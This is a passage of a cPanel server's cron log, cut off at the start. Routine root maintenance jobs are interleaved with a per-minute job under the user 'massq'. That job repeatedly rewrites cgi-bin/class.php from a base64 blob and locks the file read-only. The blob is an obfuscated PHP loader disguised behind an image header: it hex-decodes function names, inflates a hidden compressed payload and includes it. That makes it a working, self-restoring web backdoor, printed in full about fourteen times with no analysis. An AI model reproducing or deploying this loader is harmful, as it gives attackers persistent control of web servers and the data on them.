HU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 03:10:01 server CROND[11640]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 03:10:01 server CROND[11641]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 03:10:01 server CROND[11642]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 03:11:01 server CROND[11752]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 03:12:01 server CROND[11808]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 03:12:01 server CROND[11807]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 03:12:01 server anacron[10808]: Job `cron.daily' started
Apr  9 03:12:01 server run-parts(/etc/cron.daily)[11814]: starting csget
Apr  9 03:12:01 server run-parts(/etc/cron.daily)[11823]: finished csget
Apr  9 03:12:01 server run-parts(/etc/cron.daily)[11814]: starting logclean
Apr  9 03:12:01 server run-parts(/etc/cron.daily)[11837]: finished logclean
Apr  9 03:12:01 server run-parts(/etc/cron.daily)[11814]: starting logrotate
Apr  9 03:12:01 server run-parts(/etc/cron.daily)[11844]: finished logrotate
Apr  9 03:12:01 server run-parts(/etc/cron.daily)[11814]: starting maldet
Apr  9 03:13:01 server CROND[12002]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 03:14:01 server CROND[12155]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 03:15:01 server CROND[12208]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 03:15:01 server CROND[12209]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 03:15:01 server CROND[12210]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 03:16:01 server CROND[12310]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 03:17:01 server CROND[12358]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 03:18:01 server CROND[12422]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 03:19:01 server CROND[12586]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 03:20:01 server CROND[12637]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 03:20:01 server CROND[12638]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 03:20:01 server CROND[12640]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 03:20:01 server CROND[12639]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 03:20:01 server CROND[12641]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 03:21:01 server CROND[12756]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 03:22:01 server CROND[12816]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 03:23:01 server CROND[12865]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
